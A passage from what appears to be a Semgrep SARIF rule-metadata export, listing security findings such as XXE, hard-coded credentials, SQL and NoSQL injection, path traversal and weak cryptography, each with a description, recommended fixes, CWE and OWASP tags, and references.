`$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The identified XML parser permits the use of external Document Type Definitions (DTDs). The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.schemafactory-xxe.schemafactory-xxe)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The identified XML parser permits the use of external Document Type Definitions (DTDs). The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.schemafactory-xxe.schemafactory-xxe","id":"kotlin.xxe.schemafactory-xxe.schemafactory-xxe","name":"kotlin.xxe.schemafactory-xxe.schemafactory-xxe","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.schemafactory-xxe.schemafactory-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-session-hardcoded-secret.express-session-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-session-hardcoded-secret.express-session-hardcoded-secret","id":"javascript.express.security.audit.express-session-hardcoded-secret.express-session-hardcoded-secret","name":"javascript.express.security.audit.express-session-hardcoded-secret.express-session-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-session-hardcoded-secret.express-session-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"By default, AWS CloudWatch Log Group is encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your log group in CloudWatch. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so."},"help":{"markdown":"By default, AWS CloudWatch Log Group is encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your log group in CloudWatch. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-cloudwatch-log-group-unencrypted.aws-cloudwatch-log-group-unencrypted)\n - [https://cwe.mitre.org/data/definitions/732.html](https://cwe.mitre.org/data/definitions/732.html)\n","text":"By default, AWS CloudWatch Log Group is encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your log group in CloudWatch. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-cloudwatch-log-group-unencrypted.aws-cloudwatch-log-group-unencrypted","id":"terraform.aws.security.aws-cloudwatch-log-group-unencrypted.aws-cloudwatch-log-group-unencrypted","name":"terraform.aws.security.aws-cloudwatch-log-group-unencrypted.aws-cloudwatch-log-group-unencrypted","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-cloudwatch-log-group-unencrypted.aws-cloudwatch-log-group-unencrypted"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"TLS1.0 and TLS1.1 are deprecated and should not be used anymore. By default, NodeJS used TLSv1.2. So, TLS min version must not be downgrade to TLS1.0 or TLS1.1. Enforce TLS1.3 is highly recommended This rule checks TLS configuration only for PostgreSQL, MariaDB and MySQL. SQLite is not really concerned by TLS configuration. This rule could be extended for MSSQL, but the dialectOptions is specific for Tedious."},"help":{"markdown":"TLS1.0 and TLS1.1 are deprecated and should not be used anymore. By default, NodeJS used TLSv1.2. So, TLS min version must not be downgrade to TLS1.0 or TLS1.1. Enforce TLS1.3 is highly recommended This rule checks TLS configuration only for PostgreSQL, MariaDB and MySQL. SQLite is not really concerned by TLS configuration. This rule could be extended for MSSQL, but the dialectOptions is specific for Tedious.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sequelize.security.audit.sequelize-weak-tls-version.sequelize-weak-tls-version)\n - [https://node-postgres.com/features/ssl](https://node-postgres.com/features/ssl)\n - [https://nodejs.org/api/tls.html#tls_class_tls_tlssocket](https://nodejs.org/api/tls.html#tls_class_tls_tlssocket)\n - [https://nodejs.org/api/tls.html#tls_tls_createsecurecontext_options](https://nodejs.org/api/tls.html#tls_tls_createsecurecontext_options)\n - [https://nodejs.org/api/tls.html#tls_tls_default_min_version](https://nodejs.org/api/tls.html#tls_tls_default_min_version)\n","text":"TLS1.0 and TLS1.1 are deprecated and should not be used anymore. By default, NodeJS used TLSv1.2. So, TLS min version must not be downgrade to TLS1.0 or TLS1.1. Enforce TLS1.3 is highly recommended This rule checks TLS configuration only for PostgreSQL, MariaDB and MySQL. SQLite is not really concerned by TLS configuration. This rule could be extended for MSSQL, but the dialectOptions is specific for Tedious."},"helpUri":"https://semgrep.dev/r/javascript.sequelize.security.audit.sequelize-weak-tls-version.sequelize-weak-tls-version","id":"javascript.sequelize.security.audit.sequelize-weak-tls-version.sequelize-weak-tls-version","name":"javascript.sequelize.security.audit.sequelize-weak-tls-version.sequelize-weak-tls-version","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sequelize.security.audit.sequelize-weak-tls-version.sequelize-weak-tls-version"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User data from `$REQ` is being compiled into the template, which can lead to a Server Side Template Injection (SSTI) vulnerability."},"help":{"markdown":"User data from `$REQ` is being compiled into the template, which can lead to a Server Side Template Injection (SSTI) vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-insecure-template-usage.express-insecure-template-usage)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html)\n","text":"User data from `$REQ` is being compiled into the template, which can lead to a Server Side Template Injection (SSTI) vulnerability."},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-insecure-template-usage.express-insecure-template-usage","id":"javascript.express.security.express-insecure-template-usage.express-insecure-template-usage","name":"javascript.express.security.express-insecure-template-usage.express-insecure-template-usage","properties":{"precision":"very-high","tags":["CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-insecure-template-usage.express-insecure-template-usage"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"External entities are allowed for $DBFACTORY. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://xml.org/sax/features/external-parameter-entities\" to false."},"help":{"markdown":"External entities are allowed for $DBFACTORY. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://xml.org/sax/features/external-parameter-entities\" to false.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xxe.documentbuilderfactory-external-parameter-entities-true.documentbuilderfactory-external-parameter-entities-true)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://blog.sonarsource.com/secure-xml-processor](https://blog.sonarsource.com/secure-xml-processor)\n","text":"External entities are allowed for $DBFACTORY. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://xml.org/sax/features/external-parameter-entities\" to false."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xxe.documentbuilderfactory-external-parameter-entities-true.documentbuilderfactory-external-parameter-entities-true","id":"java.lang.security.audit.xxe.documentbuilderfactory-external-parameter-entities-true.documentbuilderfactory-external-parameter-entities-true","name":"java.lang.security.audit.xxe.documentbuilderfactory-external-parameter-entities-true.documentbuilderfactory-external-parameter-entities-true","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xxe.documentbuilderfactory-external-parameter-entities-true.documentbuilderfactory-external-parameter-entities-true"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected Django filters flagged with 'is_safe'. 'is_safe' tells Django not to apply escaping on the value returned by this filter (although the input is escaped). Used improperly, 'is_safe' could expose your application to cross-site scripting (XSS) vulnerabilities. Ensure this filter does not 1) add HTML characters, 2) remove characters, or 3) use external data in any way. Consider instead removing 'is_safe' and explicitly marking safe content with 'mark_safe()'."},"help":{"markdown":"Detected Django filters flagged with 'is_safe'. 'is_safe' tells Django not to apply escaping on the value returned by this filter (although the input is escaped). Used improperly, 'is_safe' could expose your application to cross-site scripting (XSS) vulnerabilities. Ensure this filter does not 1) add HTML characters, 2) remove characters, or 3) use external data in any way. Consider instead removing 'is_safe' and explicitly marking safe content with 'mark_safe()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.filter-with-is-safe.filter-with-is-safe)\n - [https://docs.djangoproject.com/en/3.1/topics/security/#cross-site-scripting-xss-protection](https://docs.djangoproject.com/en/3.1/topics/security/#cross-site-scripting-xss-protection)\n - [https://docs.djangoproject.com/en/3.1/howto/custom-template-tags/#filters-and-auto-escaping](https://docs.djangoproject.com/en/3.1/howto/custom-template-tags/#filters-and-auto-escaping)\n - [https://stackoverflow.com/questions/7665512/why-use-is-safe](https://stackoverflow.com/questions/7665512/why-use-is-safe)\n","text":"Detected Django filters flagged with 'is_safe'. 'is_safe' tells Django not to apply escaping on the value returned by this filter (although the input is escaped). Used improperly, 'is_safe' could expose your application to cross-site scripting (XSS) vulnerabilities. Ensure this filter does not 1) add HTML characters, 2) remove characters, or 3) use external data in any way. Consider instead removing 'is_safe' and explicitly marking safe content with 'mark_safe()'."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.filter-with-is-safe.filter-with-is-safe","id":"python.django.security.audit.xss.filter-with-is-safe.filter-with-is-safe","name":"python.django.security.audit.xss.filter-with-is-safe.filter-with-is-safe","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.filter-with-is-safe.filter-with-is-safe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"RSA keys should be at least 2048 bits based on NIST recommendation."},"help":{"markdown":"RSA keys should be at least 2048 bits based on NIST recommendation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.weak-rsa.use-of-weak-rsa-key)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms)\n","text":"RSA keys should be at least 2048 bits based on NIST recommendation."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.weak-rsa.use-of-weak-rsa-key","id":"kotlin.lang.security.weak-rsa.use-of-weak-rsa-key","name":"kotlin.lang.security.weak-rsa.use-of-weak-rsa-key","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.weak-rsa.use-of-weak-rsa-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.mongo.ruby-mongo-hardcoded-uri.ruby-mongo-hardcoded-uri)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.mongo.ruby-mongo-hardcoded-uri.ruby-mongo-hardcoded-uri","id":"ruby.mongo.ruby-mongo-hardcoded-uri.ruby-mongo-hardcoded-uri","name":"ruby.mongo.ruby-mongo-hardcoded-uri.ruby-mongo-hardcoded-uri","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.mongo.ruby-mongo-hardcoded-uri.ruby-mongo-hardcoded-uri"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.file.tainted-path-traversal-openpyxl-django.tainted-path-traversal-openpyxl-django)\n - [https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems](https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/](https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.django.file.tainted-path-traversal-openpyxl-django.tainted-path-traversal-openpyxl-django","id":"python.django.file.tainted-path-traversal-openpyxl-django.tainted-path-traversal-openpyxl-django","name":"python.django.file.tainted-path-traversal-openpyxl-django.tainted-path-traversal-openpyxl-django","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.file.tainted-path-traversal-openpyxl-django.tainted-path-traversal-openpyxl-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a Custom Expression ''$EXPRESSION'' calling ''as_sql(...).'' This could lead to SQL injection, which can result in attackers exfiltrating sensitive data. Instead, ensure no user input enters this function or that user input is properly sanitized."},"help":{"markdown":"Detected a Custom Expression ''$EXPRESSION'' calling ''as_sql(...).'' This could lead to SQL injection, which can result in attackers exfiltrating sensitive data. Instead, ensure no user input enters this function or that user input is properly sanitized.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.custom-expression-as-sql.custom-expression-as-sql)\n - [https://docs.djangoproject.com/en/3.0/ref/models/expressions/#django.db.models.Func.as_sql](https://docs.djangoproject.com/en/3.0/ref/models/expressions/#django.db.models.Func.as_sql)\n - [https://semgrep.dev/blog/2020/preventing-sql-injection-a-django-authors-perspective/](https://semgrep.dev/blog/2020/preventing-sql-injection-a-django-authors-perspective/)\n","text":"Detected a Custom Expression ''$EXPRESSION'' calling ''as_sql(...).'' This could lead to SQL injection, which can result in attackers exfiltrating sensitive data. Instead, ensure no user input enters this function or that user input is properly sanitized."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.custom-expression-as-sql.custom-expression-as-sql","id":"python.django.security.audit.custom-expression-as-sql.custom-expression-as-sql","name":"python.django.security.audit.custom-expression-as-sql.custom-expression-as-sql","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.custom-expression-as-sql.custom-expression-as-sql"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.boto3.security.hardcoded-token.hardcoded-token)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n - [https://bento.dev/checks/boto3/hardcoded-access-token/](https://bento.dev/checks/boto3/hardcoded-access-token/)\n - [https://aws.amazon.com/blogs/security/what-to-do-if-you-inadvertently-expose-an-aws-access-key/](https://aws.amazon.com/blogs/security/what-to-do-if-you-inadvertently-expose-an-aws-access-key/)\n","text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.boto3.security.hardcoded-token.hardcoded-token","id":"python.boto3.security.hardcoded-token.hardcoded-token","name":"python.boto3.security.hardcoded-token.hardcoded-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.boto3.security.hardcoded-token.hardcoded-token"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"GCM IV/nonce is reused: encryption can be totally useless"},"help":{"markdown":"GCM IV/nonce is reused: encryption can be totally useless\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.gcm-nonce-reuse.gcm-nonce-reuse)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"GCM IV/nonce is reused: encryption can be totally useless"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.gcm-nonce-reuse.gcm-nonce-reuse","id":"java.lang.security.audit.crypto.gcm-nonce-reuse.gcm-nonce-reuse","name":"java.lang.security.audit.crypto.gcm-nonce-reuse.gcm-nonce-reuse","properties":{"precision":"very-high","tags":["CWE-323: Reusing a Nonce, Key Pair in Encryption","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.gcm-nonce-reuse.gcm-nonce-reuse"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = ?', 'active')`"},"help":{"markdown":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = ?', 'active')`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.sqlalchemy-sqli.sqlalchemy-sqli)\n - [https://docs.sqlalchemy.org/en/14/core/connections.html#sqlalchemy.engine.Connection.execute](https://docs.sqlalchemy.org/en/14/core/connections.html#sqlalchemy.engine.Connection.execute)\n","text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = ?', 'active')`"},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.sqlalchemy-sqli.sqlalchemy-sqli","id":"python.aws-lambda.security.sqlalchemy-sqli.sqlalchemy-sqli","name":"python.aws-lambda.security.sqlalchemy-sqli.sqlalchemy-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.sqlalchemy-sqli.sqlalchemy-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.db.pymongo-flask.pymongo-flask)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/python.flask.db.pymongo-flask.pymongo-flask","id":"python.flask.db.pymongo-flask.pymongo-flask","name":"python.flask.db.pymongo-flask.pymongo-flask","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.db.pymongo-flask.pymongo-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Flags the use of a predictable random value from `scala.util.Random`. This can lead to vulnerabilities when used in security contexts, such as in a CSRF token, password reset token, or any other secret value. To fix this, use java.security.SecureRandom instead."},"help":{"markdown":"Flags the use of a predictable random value from `scala.util.Random`. This can lead to vulnerabilities when used in security contexts, such as in a CSRF token, password reset token, or any other secret value. To fix this, use java.security.SecureRandom instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.insecure-random.insecure-random)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Flags the use of a predictable random value from `scala.util.Random`. This can lead to vulnerabilities when used in security contexts, such as in a CSRF token, password reset token, or any other secret 